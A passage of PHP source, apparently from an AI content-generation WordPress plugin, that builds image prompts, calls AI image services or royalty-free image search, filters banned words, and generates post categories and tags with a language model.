$ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } } if($ai_command_image != '') { $query_words = $ai_command_image; $image_query = $ai_command_image; $image_query_set = true; } else { $query_words = $post_title; } if($image_query == '') { $image_query = $temp_post; } if($enable_ai_images == '1') { if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($ai_command_image)) { aiomatic_log_to_file('Empty API image seed expression provided!'); } else { if(strlen($ai_command_image) > 400) { $ai_command_image = aiomatic_substr($ai_command_image, 0, 400); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $image_model); aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image); } $aierror = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating AI image')); $temp_get_imgs = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'contentImage', false, 0, $aierror, $image_model); if($temp_get_imgs !== false) { foreach($temp_get_imgs as $tmpimg) { $added_images++; $added_img_list[] = $tmpimg; $temp_get_img = $tmpimg; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI generated image returned: ' . $temp_get_img); } } else { aiomatic_log_to_file('Failed to generate AI image: ' . $aierror); $temp_get_img = ''; } } } else { aiomatic_log_to_file('Empty AI image query entered.'); } } elseif($enable_ai_images == '2') { if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($ai_command_image)) { aiomatic_log_to_file('Empty API image seed expression provided!'); } else { if(strlen($ai_command_image) > 2000) { $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = 'Stability.AI'; aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $ierror = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Stable Diffusion image')); $temp_get_imgs = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'contentStableImage', 0, false, $ierror, false, false); if($temp_get_imgs !== false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI generated image returned: ' . $temp_get_imgs[1]); } $added_images++; $added_img_list[] = $temp_get_imgs[1]; $temp_get_img = $temp_get_imgs[1]; } else { aiomatic_log_to_file('Failed to generate Stability.AI image: ' . $ierror); $temp_get_img = ''; } } } else { aiomatic_log_to_file('Empty AI image query entered.'); } } elseif($enable_ai_images == '4') { if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($ai_command_image)) { aiomatic_log_to_file('Empty API image seed expression provided!'); } else { if(strlen($ai_command_image) > 2000) { $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = 'Midjourney'; aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } elseif($image_size == '1792x1024') { $width = '1792'; $height = '1024'; } elseif($image_size == '1024x1792') { $width = '1024'; $height = '1792'; } else { $width = '512'; $height = '512'; } $ierror = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Midjourney image')); $temp_get_imgs = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'contentMidjourneyImage', false, $ierror); if($temp_get_imgs !== false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI generated image returned: ' . $temp_get_imgs[1]); } $added_images++; $added_img_list[] = $temp_get_imgs; $temp_get_img = $temp_get_imgs; } else { aiomatic_log_to_file('Failed to generate Midjourney image: ' . $ierror); $temp_get_img = ''; } } } else { aiomatic_log_to_file('Empty AI image query entered.'); } } elseif($enable_ai_images == '3') { if ($image_url != '') { $replacement = str_replace(array('[', ']'), '', $query_words); $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url); $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv); return $my_img; }, $image_url_temp); $img_rulx = $spintax->Parse(trim($image_url_temp)); $selected_img = aiomatic_select_ai_image($post_title, $img_rulx); if($selected_img === false) { $img_rulx = explode(',', $img_rulx); $img_rulx = trim($img_rulx[array_rand($img_rulx)]); if($img_rulx != '') { $added_images++; $added_img_list[] = $img_rulx; $temp_get_img = $img_rulx; } } else { $added_images++; $added_img_list[] = $selected_img; $temp_get_img = $selected_img; } } } elseif(count($images_arr) > 0) { $first_el = array_shift($images_arr); $first_el = aiomatic_replaceSynergyShortcodes($first_el); $added_images++; $added_img_list[] = $first_el; $temp_get_img = $first_el; } else { $query_words = ''; if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor') { if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '') { try { if(!class_exists('TextRazor')) { require_once(dirname(__FILE__) . "/res/TextRazor.php"); } TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key'])); $textrazor = new TextRazor(); $textrazor->addExtractor('entities'); $response = $textrazor->analyze($image_query); if (isset($response['response']['entities'])) { foreach ($response['response']['entities'] as $entity) { $query_words = ''; if(isset($entity['entityEnglishId'])) { $query_words = $entity['entityEnglishId']; } else { $query_words = $entity['entityId']; } if($query_words != '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating royalty free image')); $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, false, $raw_img_list, array(), $full_result_list); if(!empty($z_img)) { $added_images++; $added_img_list[] = $z_img; $temp_get_img = $z_img; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img); } break; } } } } } catch(Exception $e) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage()); } } } } elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai') { if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '') { if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '') { $kw_model = $aiomatic_Main_Settings['keyword_model']; } else { $kw_model = get_default_model_name($aiomatic_Main_Settings); } if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '') { $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id']; } else { $keyword_assistant_id = ''; } $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']); $title_ai_command = str_replace('%%default_post_cats%%', $default_cat_list, $title_ai_command); if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command); $title_ai_command = array_filter($title_ai_command); if(count($title_ai_command) > 0) { $title_ai_command = $title_ai_command[array_rand($title_ai_command)]; } else { $title_ai_command = ''; } } $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); if(!empty($title_ai_command)) { $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } $title_ai_command = trim($title_ai_command); if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt')) { $txt_content = aiomatic_get_web_page($title_ai_command); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $title_ai_command = $txt_content; $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API keyword extractor seed expression provided!'); $title_ai_command = 'Type the most relevant keyword, no other text before or after it, for a blog post titled: ' . trim(strip_tags($post_title)); } if(strlen($title_ai_command) > $max_seed_tokens * 4) { $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4))); } $title_ai_command = trim($title_ai_command); if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API title seed expression provided(5)! ' . print_r($title_ai_command, true)); } else { $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($title_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len); $title_ai_command = trim($title_ai_command); $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = $max_tokens - $query_token_count; } $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $title_ai_command = $global_prepend . ' ' . $title_ai_command; } if(!empty($global_append)) { $title_ai_command = $title_ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $keyword_assistant_id . '/' . $kw_model . ') for title text: ' . $title_ai_command); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating AI image search keywords')); $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Keyword generator error: ' . $aierror); $ai_title = ''; } else { $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\'')); $ai_titles = explode(',', $ai_title); foreach($ai_titles as $query_words) { $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, false, $raw_img_list, array(), $full_result_list); if(!empty($z_img)) { $added_images++; $added_img_list[] = $z_img; $temp_get_img = $z_img; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img); } break; } } } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title); } } } } if(empty($temp_get_img)) { $keyword_class = new Aiomatic_keywords(); $query_words = $keyword_class->keywords($image_query, 2); $temp_img_attr = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating royalty free images')); $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 10, false, $raw_img_list, array(), $full_result_list); if($temp_get_img == '' || $temp_get_img === false) { $query_words = $keyword_class->keywords($image_query, 1); $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 20, false, $raw_img_list, array(), $full_result_list); if($temp_get_img == '' || $temp_get_img === false) { $temp_get_img = ''; } else { if(!in_array($temp_get_img, $added_img_list)) { $added_images++; $added_img_list[] = $temp_get_img; } else { $temp_get_img = ''; } } } else { if(!in_array($temp_get_img, $added_img_list)) { $added_images++; $added_img_list[] = $temp_get_img; } else { $temp_get_img = ''; } } } } if($temp_get_img != '') { $add_my_image = '
            ' . esc_attr($query_words) . '
            '; } } if($heading_val == '') { if($add_my_image == '') { $add_my_image = ' '; } $new_post_content .= $add_my_image . trim(nl2br($aiwriter)); } else { $new_post_content .= $add_my_image . $heading_val . ' ' . trim(nl2br($aiwriter)) . '
            '; } if($enable_ai_images == '0') { sleep(1); } $cnt++; } } if($strip_title == '1') { $new_post_content = str_replace($post_title, '', $new_post_content); $new_post_content = str_replace('

            ', '', $new_post_content); $new_post_content = str_replace('

            ', '', $new_post_content); } if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') { require_once(dirname(__FILE__) . "/res/swear.php"); $new_post_content = aiomatic_filterwords($new_post_content); } if(isset($aiomatic_Main_Settings['global_ban_words']) && $aiomatic_Main_Settings['global_ban_words'] != '') { $continue = false; $aiomatic_Main_Settings['global_ban_words'] = trim(trim(trim($aiomatic_Main_Settings['global_ban_words']), ',')); $banned_list = explode(',', $aiomatic_Main_Settings['global_ban_words']); foreach ($banned_list as $banned_word) { if (stripos($new_post_content, trim($banned_word)) !== FALSE) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping post "' . esc_html($new_post_title) . '", because it\'s content contains global banned word: ' . $banned_word); } $continue = true; break; } if (stripos($new_post_title, trim($banned_word)) !== FALSE) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping post "' . esc_html($new_post_title) . '", because it\'s title contains global banned word: ' . $banned_word); } $continue = true; break; } } if ($continue === true) { continue; } } if(isset($aiomatic_Main_Settings['global_req_words']) && $aiomatic_Main_Settings['global_req_words'] != '') { if(isset($aiomatic_Main_Settings['require_only_one']) && $aiomatic_Main_Settings['require_only_one'] == 'on') { $continue = true; $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ',')); $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']); foreach ($required_list as $required_word) { if (stripos($new_post_content, trim($required_word)) !== FALSE || stripos($new_post_title, trim($required_word)) !== FALSE) { $continue = false; break; } } if ($continue === true) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping post "' . esc_html($new_post_title) . '", because it\'s content doesn\'t contain global required words.'); } continue; } } else { $continue = false; $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ',')); $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']); foreach ($required_list as $required_word) { if (stripos($new_post_content, trim($required_word)) === FALSE && stripos($new_post_title, trim($required_word)) === FALSE) { $continue = true; break; } } if ($continue === true) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping post "' . esc_html($new_post_title) . '", because it\'s content doesn\'t contain global required words.'); } continue; } } } if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'omni') { $skip_spin = '1'; } $arr = aiomatic_spin_and_translate($new_post_title, $new_post_content, '3', $skip_spin, $skip_translate); if($arr[0] != $new_post_title) { $new_post_title = $arr[0]; if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') { $posts = get_posts( array( 'post_type' => $post_type, 'title' => html_entity_decode($new_post_title), 'post_status' => 'all', 'numberposts' => 1, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $posts ) ) { $zap = $posts[0]; } else { $zap = null; } if($zap !== null) { if($overwrite_existing) { $update_post_id = $zap->ID; } else { aiomatic_log_to_file('Post with specified title already existing (after spin/translate), skipping it: ' . $new_post_title); unset($post_title_lines[$current_index]); continue; } } } } $new_post_content = $arr[1]; if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') { $already_spinned = '1'; } if ($auto_categories == 'content') { $extra_categories = aiomatic_extractKeyWords($new_post_content); $extra_categories = implode(',', $extra_categories); } elseif ($auto_categories == 'title') { $extra_categories = aiomatic_extractKeyWords($new_post_title); $extra_categories = implode(',', $extra_categories); } elseif ($auto_categories == 'both') { $extra_categories = aiomatic_extractKeyWords($new_post_content); $extra_categories = implode(',', $extra_categories); $extra_categories2 = aiomatic_extractKeyWords($new_post_title); $extra_categories2 = implode(',', $extra_categories2); if($extra_categories2 != '') { $extra_categories .= ',' . $extra_categories2; } } elseif ($auto_categories == 'ai') { $category_ai_command = $orig_ai_command_category; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $category_ai_command = preg_split('/\r\n|\r|\n/', $category_ai_command); $category_ai_command = array_filter($category_ai_command); if(count($category_ai_command) > 0) { $category_ai_command = $category_ai_command[array_rand($category_ai_command)]; } else { $category_ai_command = ''; } } $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command); if(!empty($category_ai_command)) { $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $category_ai_command = aiomatic_replacetopics($category_ai_command, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); } else { $category_ai_command = trim(strip_tags('Write a comma separated list of categories, for the post title: %%post_title%%')); } $category_ai_command = trim($category_ai_command); if (filter_var($category_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($category_ai_command, '.txt')) { $txt_content = aiomatic_get_web_page($category_ai_command); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $category_ai_command = $txt_content; $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command); $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $category_ai_command = aiomatic_replacetopics($category_ai_command, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); } } } } if(empty($category_ai_command)) { aiomatic_log_to_file('Empty API post category seed expression provided!'); } else { if(strlen($category_ai_command) > $max_seed_tokens * 4) { $category_ai_command = aiomatic_substr($category_ai_command, 0, (0 - ($max_seed_tokens * 4))); } $category_ai_command = trim($category_ai_command); if(empty($category_ai_command)) { aiomatic_log_to_file('Empty API category seed expression provided! ' . print_r($category_ai_command, true)); break; } $query_token_count = count(aiomatic_encode($category_ai_command)); $available_tokens = aiomatic_compute_available_tokens($category_model, $max_tokens, $category_ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($category_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $category_ai_command = aiomatic_substr($category_ai_command, 0, $string_len); $category_ai_command = trim($category_ai_command); if(empty($category_ai_command)) { aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($category_ai_command, true)); break; } $query_token_count = count(aiomatic_encode($category_ai_command)); $available_tokens = $max_tokens - $query_token_count; } $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $category_ai_command = $global_prepend . ' ' . $category_ai_command; } if(!empty($global_append)) { $category_ai_command = $category_ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $category_model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $category_model . ') for category generator: ' . $category_ai_command); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating categories')); $generated_text = aiomatic_generate_text($token, $category_model, $category_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'categoryID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Category generator error: ' . $aierror); break; } else { $extra_categories = $generated_text; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $category_model); aiomatic_log_to_file('Successfully got API category result from ' . $api_service . ': ' . $generated_text); } } } else { $extra_categories = ''; } $my_post['extra_categories'] = $extra_categories; $item_tags = aiomatic_extractKeyWords($new_post_content, 3); $item_tags = implode(',', $item_tags); $title_tags = aiomatic_extractKeyWords($new_post_title, 3); $title_tags = implode(',', $title_tags); $item_create_tag_sp = $spintax->Parse($item_create_tag); if ($can_create_tag == 'content') { $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $item_tags; $my_post['extra_tags'] = $item_tags; } else if ($can_create_tag == 'title') { $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $title_tags; $my_post['extra_tags'] = $title_tags; } else if ($can_create_tag == 'both') { $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . ($item_tags != '' ? $item_tags . ',' : '') . $title_tags; $my_post['extra_tags'] = ($item_tags != '' ? $item_tags . ',' : '') . $title_tags; } else if ($can_create_tag == 'ai') { $ai_tags = ''; $tag_ai_command = $orig_ai_command_tag; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $tag_ai_command = preg_split('/\r\n|\r|\n/', $tag_ai_command); $tag_ai_command = array_filter($tag_ai_command); if(count($tag_ai_command) > 0) { $tag_ai_command = $tag_ai_command[array_rand($tag_ai_command)]; } else { $tag_ai_command = ''; } } $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command); if(!empty($tag_ai_command)) { $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $tag_ai_command = aiomatic_replacetopics($tag_ai_command, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); } else { $tag_ai_command = trim(strip_tags('Write a comma separated list of tags, for the post title: %%post_title%%')); } $tag_ai_command = trim($tag_ai_command); if (filter_var($tag_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($tag_ai_command, '.txt')) { $txt_content = aiomatic_get_web_page($tag_ai_command); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $tag_ai_command = $txt_content; $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command); $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $tag_ai_command = aiomatic_replacetopics($tag_ai_command, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); } } } } if(empty($tag_ai_command)) { aiomatic_log_to_file('Empty API post tag seed expression provided!'); } else { if(strlen($tag_ai_command) > $max_seed_tokens * 4) { $tag_ai_command = aiomatic_substr($tag_ai_command, 0, (0 - ($max_seed_tokens * 4))); } $tag_ai_command = trim($tag_ai_command); if(empty($tag_ai_command)) { aiomatic_log_to_file('Empty API tag seed expression provided! ' . print_r($tag_ai_command, true)); break; } $query_token_count = count(aiomatic_encode($tag_ai_command)); $available_tokens = aiomatic_compute_available_tokens($tag_model, $max_tokens, $tag_ai_command, $query_token_count); if($available_tokens <= 